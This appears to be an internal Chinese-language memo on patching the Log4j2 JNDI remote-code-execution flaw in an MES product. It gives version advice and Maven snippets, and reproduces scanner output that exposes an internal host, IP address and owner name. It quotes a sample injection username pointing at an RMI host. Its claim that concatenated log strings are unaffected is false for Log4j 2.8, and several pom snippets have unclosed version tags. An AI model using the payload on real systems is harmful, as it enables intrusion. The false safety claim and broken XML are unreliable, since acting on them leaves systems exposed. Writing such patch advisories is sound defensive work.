Log4j2 高危 bug 修复

重点说明,写在前面:
如果使用了 log4j 2.x 的版本需要升级,log4j 1.x 的版本不受影响;

看项目使用的 jdk,

  • 如果是 jdk8 升级到 2.17.1(或 2.16.0)版本
  • 如果是 jdk7 升级到 2.12.4
  • 如果是 jdk6 升级到 2.3.2(目前项目没有用 jdk6 的)

升级的 jar

log4j-jcl,log4j-core,log4j-api,log4j-slf4j-impl

Log4j2 出现高危 Bug,

《高危 Bug!一众大厂中招,Apache Log4j2 远程代码执行漏洞》

《Log4j2 核弹级漏洞:全球 6 万 + 开源软件受影响 - 网易》

https://www.163.com/dy/article/GRAOM46F0511D6RL.html?f=post2020_dy_recommends 

https://segmentfault.com/a/1190000041096729 

我们的一些大客户也已经发出修复要求:

请项目组自查,如有需要按如下步骤升级 log4j2;

说明:

 有问题的写法是类似下面的语句:

LOGGER.info(“Hello {}”,userName)

  • 使用了 {},假设是登录的时候这样记录了用户名,黑客可以使用如下的特殊用户名:

${jndi:rmi://192.168.xx.xx:1099/xxx }

  • log4j 会动态解析 jndi 的内容,并执行那个远程地址的服务。

  • 我们目前 MES 的日志写法是这样的:

MestarLogger.info(“MOM-DPS-005:工艺参数: 结束”);

我们做了封装,只接收一个字符串参数, 拼接字符串不是传参的方式。不是通过 {} 传参数 log4j 再解析的方式,所以不受影响
- 如果有特殊字符会原样输出 (产品已测试)。

但是,安全扫码软件,只看有没有相关 jar 文件,

Asset

Name

BU

App / App Owner

Path

 

10.217.32.140

NCH2CNMS004.pt.int.tenneco.com

CAPT

Mestar / Xiaofang Zhao

D:\MESFile\Mestar_Home-9911-final-APS-11\standalone\tmp\vfs\temp-to-be-deleted-3800caa89149b476\tempf7cd05211a7076a7\prj-nchm.war-7930af198c9125d1\WEB-INF\lib\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-EDI\standalone\tmp\vfs\temp\tempfd2c411c43c27642\prj-nchm.war-90edbf53442de6d4\WEB-INF\lib\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-EDI\standalone\tmp\vfs\deployment\deploymentade351fd4f6808f6\log4j-core-2.8.jar-41ce83b0bc2be678\log4j-core-2.8.jar
D:\��ʱ�ļ�\��ʱ\�½��ļ���\Mestar_Home-9911-final\standalone\tmp\vfs\temp\tempaf4040bdef7d439\prj-nchm.war-3d9e97ad3b04703f\WEB-INF\lib\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS-11\standalone\tmp\vfs\temp\temp33641f16ad2b5c69\UniMaxFPS.war-fbc176ad05ea40ec\WEB-INF\lib\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS--����2\standalone\tmp\vfs\temp-to-be-deleted-3800caa89149b476\tempf7cd05211a7076a7\prj-nchm.war-7930af198c9125d1\WEB-INF\lib\log4j-core-2.8.jar
D:\��ʱ�ļ�\��ʱ\�½��ļ���\Mestar_Home-9911-final\domain\servers\mes1\tmp\vfs\temp\tempc5be61f077f69605\content-1013e8acd28ec789\WEB-INF\lib\log4j-core-2.8.jar
D:\��ʱ�ļ�\��ʱ\�½��ļ���\Mestar_Home-9911-final\standalone\tmp\vfs\deployment\deploymentade775eaa5eb034f\log4j-core-2.8.jar-942e4711fe471220\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS-11\standalone\tmp\vfs\deployment\deployment3a91646fe07cb24c\log4j-core-2.8.jar-4d0e1ab36fef1e21\log4j-core-2.8.jar
D:\Mestar_Home-9911-final\standalone\tmp\vfs\temp\temp73f67ebe2ab60fc7\prj-nchm.war-3751ce6b36c558e1\WEB-INF\lib\log4j-core-2.8.jar
D:\Mestar_Home-9911-final\standalone\tmp\vfs\deployment\deployment9c50a2425f51637d\log4j-core-2.8.jar-fa5634af2bc1f197\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS\standalone\tmp\vfs\temp-to-be-deleted-3800caa89149b476\tempf7cd05211a7076a7\prj-nchm.war-7930af198c9125d1\WEB-INF\lib\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS\standalone\tmp\vfs\temp\tempe60f272b85d8bfdd\UniMaxFPS.war-3c59322947a189d3\WEB-INF\lib\log4j-core-2.8.jar
D:\��ʱ�ļ�\��ʱ\�½��ļ���\Mestar_Home-9911-final\domain\servers\mes1\tmp\vfs\deployment\deploymenta34396db5ea1237b\log4j-core-2.8.jar-58f73f1c974579d0\log4j-core-2.8.jar
D:\MESFile\Mestar_Home-9911-final-APS\standalone\tmp\vfs\deployment\deployment9a6abb16042a59e8\log4j-core-2.8.jar-13aed62d9ded29a6\log4j-core-2.8.jar
D:\Mestar_Home-9911-final\standalone\tmp\vfs\deployment-to-be-deleted-7c8b571d912b02f1\deployment90afa40d48f08e2d\log4j-core-2.8.jar-203fa18d6cd2dc6e\log4j-core-2.8.jar

-

虽然不受影响,如果项目组用到了 log4j2,建议项目组升级 log4j2 版本到最新版本。

项目的 war 包里面如果有 log4j 2.X 版本 如 log4j-core.2.8.jar (使用 log4j 1.X 的项目不受影响)

升级方法如下(产品已验证)

  • 项目的 pom 中直接引入
 <dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-core</artifactId>
   <version>2.16.0</version>_
</dependency>

<dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-api</artifactId>
   <version>2.16.0</version>
  </dependency>

 <dependency>  
   <groupId>org.apache.logging.log4j</groupId>  
   <artifactId>log4j-slf4j-impl</artifactId>  
   <version>2.16.0<version>  
 </dependency>

 <dependency>  
   <groupId>org.apache.logging.log4j</groupId>  
   <artifactId>log4j-jcl</artifactId>  
   <version>2.16.0<version>  
 </dependency>
  • 这样会覆盖产品的版本。

升级后 war 中没有旧版本的 log4j2.X ,
并且可以正常启动,说明升级成功。